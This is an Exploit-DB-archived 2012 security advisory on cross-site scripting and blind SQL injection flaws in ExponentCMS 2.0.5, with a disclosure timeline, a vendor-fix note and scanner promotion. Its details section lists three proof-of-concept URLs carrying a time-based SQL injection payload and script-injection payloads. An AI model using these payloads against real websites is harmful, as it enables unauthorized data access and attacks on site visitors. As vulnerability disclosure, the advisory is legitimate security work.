exponentcms 2.0.5 - Multiple Vulnerabilities



EDB-ID: 18773 CVE: N/A OSVDB-ID: 81326
Author: Onur Yılmaz Published: 2012-04-23 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

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Information
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Name :  XSS and Blind SQL Injection Vulnerabilities in ExponentCMS
Software :  ExponentCMS 2.0.5 and possibly below.
Vendor Homepage :  http://www.exponentcms.org
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Onur Yılmaz
Advisory Reference :  NS-12-006

Description
--------------------
Exponent is a website content management system (or CMS) that allows
site owners to easily create and manage dynamic websites without
necessarily directly coding web pages, or managing site navigation.

Details
--------------------
Exponent CMS is affected by XSS and SQL Injection vulnerabilities in
version 2.0.5.

Example PoC urls are as follows :
http://example.com/index.php?section=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)
http://example.com/index.php?action=showall_by_tags&tag=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E&controller=news&src=
 () random4e5433b85bb1f
http://example.com/index.php?controller=expTag&action=show&title=changes&src=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E

You can read the full article about Cross-Site Scripting and SQL
Injection vulnerabilities from here :
http://www.mavitunasecurity.com/crosssite-scripting-xss/
http://www.mavitunasecurity.com/sql-injection/

Solution
--------------------
The vendor fixed this vulnerability in the new version. Please see the
references.

Advisory Timeline
--------------------
12/03/2012 - First contact: Sent the vulnerability details
20/03/2012 - Vulnerability Fixed in latest version
25/04/2012 - Vulnerability Released

Credits
--------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References
--------------------
Vendor Url / Patch :
http://exponentcms.org/news/-happy-hyperbole-v2-0-6-is-in-full-bloom
MSL Advisory Link :
http://www.mavitunasecurity.com/blog/xss-and-blind-sql-injection-vulnerabilities-in-exponentcms/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
--------------------
Netsparker® can find and report security issues such as SQL Injection
and Cross-site Scripting (XSS) in all web applications regardless of
the platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

-- 
Netsparker Advisories, <advisories () mavitunasecurity com>
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/